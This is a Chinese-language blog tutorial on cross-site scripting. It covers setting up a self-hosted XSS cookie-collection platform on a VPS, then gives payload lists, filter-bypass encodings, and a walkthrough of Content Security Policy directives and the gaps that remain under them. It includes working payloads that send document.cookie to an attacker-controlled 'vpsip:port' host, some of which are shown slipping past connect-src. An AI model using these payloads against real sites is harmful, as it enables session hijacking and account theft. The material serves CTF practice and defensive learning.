zoukankan      html  css  js  c++  java
  • xss小结-从xss平台搭建到csp规则

    0x00前言

    xss是跨站脚本攻击,利用嵌入js代码达到‘控制’对方浏览器的作用,测试的时候我们是用alert(1)弹窗,而做CTF也好,实际中的漏洞利用也好一般是用xss获取管理员的cookie

    0x01xss平台搭建

    网上有xss的在线平台,但是别人的总没有自己的用着舒服,于是可以试着手动搭建下属于自己的xss平台

    首先要拥有自己的vps,能有公网的ip,才能把目标的信息发送过来

    这里搭建推荐用蓝莲花战队的github一个项目:https://github.com/firesunCN/BlueLotus_XSSReceiver

    你可以搭在vps上的web服务器上,但是该项目提供了docker,可以使用docker开放到自己想要的端口

    git clone https://github.com/firesunCN/BlueLotus_XSSReceiver.git && cd BlueLotus_XSSReceiver
    docker build -t bluelotus .
    docker run -d -p 81:80 bluelotus

    上面3条命令会把xss平台运行到vps的81端口,然后访问自己的vps 81端口的admin.php页面

    登录密码默认为bluelotus,输入即可进入页面

     

    稍微提一下怎么使用,在我的js中添加个新的文件,插入第一个模板就行

    然后把它的var website的值改成 http://vpsip:port/ 即可,端口就是你开放这个xss平台端口,我是用的81

    简单的本地测试利用该js文件获取信息,点击生成payload

     把这句话插入到xss的输入中

    然后刷新下xss平台的主界面,就能获取cookie了

    0x02 XXS基本触发方式

    xss检查都是用个alert(1)弹个框来检查,但是实际上都是为了发送cookie来获取有用的信息

    发送cookie的方式用ajax,用window.open,用window.location

    即将alert(1)的地方替换成如下代码

    <script>alert(1)</script>
    用以下的代码替换,其中的vpsip:port即0x01中提到的xss平台的ip和端口 <script>window.open("http://vpsip:port/?cookie=" + document.cookie)</script> <script>window.location="http://vpsip:port/?cookie=" + document.cookie</script>

    <script>var xml = new XMLHttpRequest(); xml.open('POST', 'http://vpsip:port', true); xml.setRequestHeader("Content-type","application/x-www-form-urlencoded"); xml.send('cookie='+document.cookie); </script>

    触发javascript的方式有三种

    1.利用<script>标签,标签内的内容即可以触发javascript的代码

    2.利用javascript:伪协议,该方法会用于一些属性里面,举个例子比如在a标签的href属性可以使用该伪协议 <a href=javascript:alert(1)>xss</a>

    3.利用事件onxxxx,比如在打开文档或图片错误时,报错的事件onerror,举例<img src=x onerror=alert(1) />(x这个图片路径是不存在的,所有会触发onerror)

    能够利用的标签有

    <script> <a> <p> <img> <body> <button> <var> <div> <iframe> <object> <input> <select> <textarea> <keygen> <frameset> <embed> <svg> <math> <video> <audio>

    能够利用的事件有

    onload onunload onchange onsubmit onreset onselect onblur onfocus onabort onkeydown onkeypress onkeyup onclick ondbclick onmouseover onmousemove onmouseout onmouseup onforminput onformchange ondrag ondrop onerror

    能够利用伪协议的属性有

    formaction action href xlink:href autofocus src content data

    有些xss需要用户交互才能触发,比如<a>标签,必须用户点击了<a>标签生成的xss链接,才能触发

    而有些标签是不用交互,只要能够加载就能触发的,这里罗列下我知道的(在firefox下成功,在chrome下有些会被chrome拦截)

    利用<script>标签
    <script>alert(1)</script>

    利用报错的事件
    <img src=x onerror=alert(1) /> <object data=x onerror=alert(1)></object>
    <video src=x onerror=alert(1) /> <audio src=x onerror=alert(1) />

    利用加载的时候的事件 <iframe onload=alert(1) /> <svg onload=alert(1)></svg> <marquee onstart=alert(1)></marquee>

    利用请求资源的时候的伪协议 <iframe src=javascript:alert(1) /> <object data=javascript:alert(1)></object> <object data=x onerror=alert(1)></object> <embed src=javascript:alert(1)></embed>
    利用聚集焦点的事件,最后加autofocus是打开页面自动聚集焦点到该标签 <input type=text onfocus=alert(1) autofocus /> <button onfocus=alert(1) autofocus /> <keygen onfocus=alert(1) autofocus /> <select onfocus=alert(1) autofocus /> <textarea onfocus=alert(1) autofocus />

     至于其他标签的用法比如<a>标签就要靠点击触发src=javascript:伪协议

    或者利用onmousemove鼠标移动到该标签位置, onclick点击触发这些事件,这里就不再罗列

    0x03 XXS一点绕过方法

    绕过我知道的不多,简单介绍下我收集的

    1.在标签的属性任何位置都可以利用html编码进行绕过

    &#ascii码十进制;
    
    例子:t  --编码后-> &#116; 
    
    <a href=javascript:&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41; >xss</a><a href=javascrip&#116;:alert(1) >xss</a>

    2.在javascript中可以通过String.fromCharCode()函数进行编码成字符串,但是要使用eval来执行

    <a href=javascript:eval(String.fromCharCode(97,108,101,114,116,40,49,41)) >xss</a>
    等价于
    <a href=javascript:eval("alert(1)") >xss</a>

    因为如果不加eval,它是这样的,"alert(1)"是被当做字符串,而不是执行代码,所以是不能执行
    <a href=javascript:"alert(1)" >xss</a>

    3.在javascript中可以通过x来编码字符成字符串,也是需要eval来执行,道理同上

    <a href=javascript:eval("x61x6cx65x72x74x28x27x31x27x29") >xss</a>

    4.在标签中有些地方可以用[/]来代替[空格]

    <img src=x onerror=alert(1) />            //正常情况
    <img/src=x onerror=alert(1) />            //代替前面的空格
    <img src=x onerror=alert(1)//>            //代替后面的空格
    <img/src=x onerror=alert(1)//>            //代替前后的空格
    <img src=x/onerror=alert(1) />            //错误无法解析

    5.在标签中也可以用%0a%0d换行来代替空格

    <img src=x onerror%0a%0d=%0a%0dalert(1) />

    <img%0a%0dsrc=x onerror=alert(1) />

    6.在javascript中可以利用['']来代替 .

    document.cookie
    document['cookie']
    document['coo'+'kie']

    7.标签和属性大小写不敏感

    <imG sRc=x OnerroR=alert(1) />

    0x04 csp基础

    csp(Content Security Policy)是网页安全政策

    它的存在就是为了防止XSS的

    开启方式有2种,一种是在html中的<meta>标签中写入,一种是通过响应头的Content-Security-Policy字段定义

    html前端代码

    <meta http-equiv="Content-Security-Policy" content="script-src 'self';">

    php后端代码

    header("Content-Security-Policy: default-src 'self';");

    首先了解有哪些值

    * 允许加载所有资源(没有单引号)
    'none' 不允许加载任何资源
    'self' 允许加载同源资源
    data: 允许使用data:伪协议
    *.sijidou.com 允许sijdou.com子域的资源加载
    sijidou.com 允许sijidou.com域下的资源加载
    'unsafe-inline' 允许执行内联资源,如属性,事件,script标签
    'unsafe-eval' 允许使用eval执行代码
    https: 只允许使用了https:有证书的资源

    属性有以下内容

    1.script-src

    这个属性来判断是否能够加载,执行javascript脚本

    1)script-src *; 允许所有的js脚本来源

    <script src="http://vpsip/1.js"></script>   //能触发
    <script>alert(1)</script>            //不能触发

    2)script-src 'self'; 只允许同源的脚本触发

    <script src="http://vpsip/1.js"></script>  //不能触发
    <script>alert(1)</script>            //不能触发
    <script src="1.js"></script>          //调用本地的js文件能触发

    3)script-src 'unsafe-inline' 当前页面可以使用javascript脚本

    <script>alert(1)</script>            //能触发
    <script>eval("alert(1)")</script>       //不能触发
    <script src="http://vpsip/1.js"></script>   //不能触发
    <script src="1.js"></script>          //不能触发

    4)script-src 'unsafe-inline' 'unsafe-eval' 当前页面能够使用javascript脚本,并且能够使用eval函数

    <script>eval("alert(1)")</script>        //能触发
    <script>alert(1)</script>             //能触发
    <script src="http://vpsip/1.js"></script>   //不能触发
    <script src="1.js"></script>           //不能触发

     5)script-src 'none' 不允许加载任何资源

    <script src="http://vpsip/1.js"></script>   //不能触发
    <script src="1.js"></script>            //不能触发
    <script>alert(1)</script>                    //不能触发

    2.img-src

    该属性是定义图片加载的源的策略

    1)img-src * 允许加载任何图片资源

    <img src=x onerror=alert(1) />         //能够触发
    <img src='http://xxx/1.jpg' />         //允许的

    2)img-src 'self' 允许同源的图片被加载

    <img src=x onerror=alert(1) />         //也是能够触发的
    <img src='http://xxx/1.jpg' />         //不允许
    <img src='1.jpg' />                //允许的

    3)img-src 'none' 不允许图片被加载

    <img src=x onerror=alert(1) />         //也能够触发的
    <img src='http://xxx/1.jpg' />         //不允许
    <img src='1.jpg' />                //不允许

    总的来说,从哪图片加载如果失败都能触发onerror

    3.style-src

    该属性是规定css加载的来源

    style-src * 允许加载任意的css

    <link href="1.css" type="text/css" rel="Stylesheet" />    //允许

    #但下面这个不被允许
    <style type="text/css">
    .main{ 1002px; margin:0 auto;}
    </style>

    style-src 'unsafe-line' 可以达到使用内嵌的css样式

    #允许
    <style type="text/css">
    .main{ 1002px; margin:0 auto;}
    </style>

    4.font-src

    该属性是规定字体的加载的来源

    和img-src大差不差,但是没法触发onerror之类的事件

    5.object-src

    该属性定义引用资源的加载来源

    可以作用的是下面的标签,效果和img-src相同

    <object data=xxx />
    <embed src=xx />

    6.media-src

    该属性规定音频和视频的加载来源

    可以作用的是下面的标签,效果和img-src相同

    <audio src=x />
    <video src=x />

    7.connect-src

    定义ajax websocket等策略

    1)connect-src * 允许ajax或者websocket访问所有目标

    <script>var xml = new XMLHttpRequest(); xml.open('POST', 'http://www.baidu.com', true); xml.setRequestHeader("Content-type","application/x-www-form-urlencoded"); xml.send(); </script>
    <script>var xml = new XMLHttpRequest(); xml.open('POST', 'http://www.4399.com', true); xml.setRequestHeader("Content-type","application/x-www-form-urlencoded"); xml.send(); </script>

    2)connect -src http://www.baidu.com/ 只允许ajax或者websocket访问http://www.baidu.com,如果不是就不被允许

    #被允许
    <script>var xml = new XMLHttpRequest(); xml.open('POST', 'http://www.baidu.com', true); xml.setRequestHeader("Content-type","application/x-www-form-urlencoded"); xml.send(); </script>

    #不被允许
    <script>var xml = new XMLHttpRequest(); xml.open('POST', 'http://www.bilibili.com', true); xml.setRequestHeader("Content-type","application/x-www-form-urlencoded"); xml.send(); </script>

    但是丝毫不影响window.open和window.location的发送

    #在connect-src http://www.baidu.com/ 被允许的
    <script>window.open("http://vpsip:port/?cookie=" + document.cookie)</script>
    ##在connect-src http://www.baidu.com/ 被允许的
    <script>window.location="http://vpsip:port/?cookie=" + document.cookie</script>

    8.child-src

    定义frame的来源,是frame-src的改进版

    1)child-src * 允许载入所有的其他源页面

    <iframe src=http://www.4399.com />      //通过
    <iframe src=http://www.baidu.com />        //通过

    2)child-src http://www.baidu.com/ 只允许载入百度的页面

    <iframe src=http://www.4399.com />      //不通过
    <iframe src=http://www.baidu.com />        //通过

     但是也不影响onload事件的触发

    <iframe src=http://www.4399.com onload=alert(1) />

    9.default-src

    默认资源定义,如果只设置了 script-src 和 default-src,那么其他的img-src style-src等7个属性和default-src的规则相同

    0x05 csp的组合规则

    可以看到如果在没有script-src和default-src(来定义script-src规则)的情况下,其他的csp防护也是能通过事件之类的来执行javascript代码

    1)child-src *;default-src * 这种情况下允许加载任何页面,但是不能运行javascript脚本(default-src定义了script-src的规则)

    <iframe src=http://www.baidu.com onload=alert(1) />  //能加载百度页面,没发弹框

    只要script-src没有unsafe-inline值,那么该页面就不能执行javascript代码,无论是否是<script>标签内容,属性的javascript:伪协议,事件的执行

    2)object-src data:;default-src * 运行使用data:协议,这种我们可以利用javascript代码弹框

    <object data=data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==></object>    //被允许
    PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==解码结果是<script>alert(1)</script>

    3)object-src javascript:;default-src * 运行javascript:协议,但是因为default-src *来规定了script-src没有unsafe-inline值,那么看着就是矛盾的了,这时候判断是不执行

    <object data=javascript:alert(1) />      //不被允许

     总结一下就是除了某些标签的data:伪协议可以加载页面(比如<object>标签)可以逃过没有script-src 'inline'在页面上执行javascript代码的情况,其他想要执行javascript代码必须要有script-src 'inline'或者没有定义script-src和default-src规则

    之前看<link>可以预加载之类的文章,但是我本地没有成功,也不知道是不是Firefox和chrome的版本更新后对这个问题已经有了处理了

    0xFF结语

    gitbub上的笔记:https://github.com/SiJiDo/XSS-note

    虽然有点乱,但是还是能看

    参考链接

    https://www.cnblogs.com/xiaozi/p/5588099.html

    https://www.leavesongs.com/PENETRATION/xss-collect.html

    http://heartsky.info/2017/03/03/%E9%82%A3%E4%BA%9B%E5%B9%B4%E6%88%91%E4%BB%AC%E7%BB%95%E8%BF%87%E7%9A%84CSP/

    http://www.cnblogs.com/iamstudy/articles/bypass_csp_study.html

    https://lorexxar.cn/2016/08/08/ccsp/#%E4%BB%80%E4%B9%88%E6%98%AFCSP

  • 相关阅读:
    js去java的变量
    android:layout_alignLeft=""和android:layout_toLeftOf=""
    c:foreach遍历list
    fragment的getActivity和activity的getapplication实现共享方法和变量
    java.lang.IllegalStateException: commit already called
    选择图片时调用手机拍摄和相册图片
    android:duplicateParentState属性
    java日期事件处理
    汉字字符串编码转换
    JAVA入门到精通-第5讲-类和对象
  • 原文地址:https://www.cnblogs.com/sijidou/p/10695195.html
Copyright © 2011-2022 走看看